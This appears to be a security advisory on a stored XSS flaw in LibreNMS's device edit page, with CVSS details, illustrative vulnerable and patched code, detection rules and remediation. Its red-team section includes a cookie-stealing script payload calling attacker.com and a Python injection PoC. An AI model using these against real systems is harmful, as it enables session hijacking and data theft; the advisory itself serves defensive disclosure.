CVE-2024-56144

Executive Summary

CVE-2024-56144 is a stored cross-site scripting (XSS) vulnerability in LibreNMS, a popular open-source network monitoring system. The flaw resides in the device edit page (/device/$DEVICE_ID/edit), specifically within the display parameter. An authenticated attacker with the ability to edit device settings can inject arbitrary JavaScript code. When an administrator or other user views the affected device page, the injected script executes in their browser session, potentially leading to session hijacking, data theft, or unauthorized actions. The vulnerability affects all versions up to and including 24.11.0. LibreNMS has released version 24.12.0 which patches this issue. No official workarounds are available.

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is introduced through the application's own codebase, not a third-party package. However, users should ensure their Composer dependencies are up-to-date as part of the upgrade process. The patch is included in the 24.12.0 release tag on GitHub.

CVSS Breakdown & Threat Level

• CVSS Score: 4.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with device edit permissions)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS means a single injection can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The display parameter on the device edit page is not properly sanitized or encoded before being stored in the database and later rendered in the browser. An attacker with edit permissions can craft a payload such as:

<script>alert('XSS')</script>

When the device page is loaded, the script executes in the context of the victim's session. This can be used to steal cookies, perform actions on behalf of the victim, or deface the page.

The root cause is insufficient output encoding. The application likely uses the raw value of display without applying context-appropriate escaping (e.g., HTML entity encoding). The fix in version 24.12.0 ensures that the display parameter is properly sanitized before storage and/or output.

Vulnerable vs. Patched Code

Vulnerable Code (pre-24.12.0):

// In the device edit form handler
$display = $_POST['display'];
// No sanitization
$device->display = $display;
$device->save();

// In the view
echo $device->display; // Direct output without escaping

Patched Code (24.12.0):

// In the device edit form handler
$display = $_POST['display'];
// Sanitize using HTML Purifier or similar
$display = clean($display, 'html');
$device->display = $display;
$device->save();

// In the view
echo htmlspecialchars($device->display, ENT_QUOTES, 'UTF-8');

The patch introduces proper input sanitization and output encoding, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid LibreNMS account with device edit permissions.
• Access to the device edit page (/device/$DEVICE_ID/edit).

Exploitation Steps:

1. Log in to LibreNMS.
2. Navigate to a device's edit page: /device/1/edit (replace 1 with a valid device ID).
3. Locate the display field.
4. Inject a payload, e.g.:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the device.
6. When an administrator views the device page, the script executes, exfiltrating their session cookie.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-librenms.local"
device_id = "1"
session = requests.Session()

# Login
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Inject XSS
payload = "<script>alert('XSS')</script>"
edit_url = f"{target}/device/{device_id}/edit"
data = {"display": payload}
session.post(edit_url, data=data)

print("Payload injected. Victim must view the device page.")

Blue Team

Detection Steps:

1. Monitor web application logs for suspicious display parameter values containing <script>, onerror, onload, or other event handlers.
2. Review database entries for the display column in the devices table for unexpected HTML/JavaScript.
3. Use the YARA and Sigma rules below to scan logs and files.

Mitigation Steps:

1. Immediately upgrade to LibreNMS 24.12.0.
2. If upgrade is not possible, restrict device edit permissions to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the display parameter.
4. Conduct a review of all device display fields for signs of compromise.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from LibreNMS server.
  • Unusual Referer headers pointing to device edit pages.

• Host IOCs:

  • Database entries in the devices table where the display column contains <script> tags or JavaScript event handlers.
  • Web server logs showing POST requests to /device/*/edit with display parameter containing encoded or raw XSS payloads.

• File IOCs:

  • Modified LibreNMS source files (though unlikely if only database is affected).

Detection Engineering

YARA Rule

rule CVE_2024_56144_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS device display field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56144"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in LibreNMS Device Display Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-56144 by injecting XSS payloads into the display parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/device/*/edit'
        cs-uri-query|contains: 'display='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in display field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56144 LibreNMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/device/"; http_uri; content:"/edit"; http_uri; pcre:"/display=[^&]*<script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 24.12.0 or later.
2. If upgrade is not possible, restrict device edit permissions to a minimal set of trusted users.
3. Review and sanitize existing display fields in the database.

Long-term Measures:

1. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
2. Regularly update LibreNMS and its dependencies.
3. Conduct security code reviews focusing on input validation and output encoding.
4. Deploy a WAF with XSS protection rules.

Patch Details: The fix is included in LibreNMS release 24.12.0. Users can upgrade via:

cd /opt/librenms
git pull origin 24.12.0
./scripts/composer_wrapper.php install --no-dev

Valters IT
Securing Digital Frontiers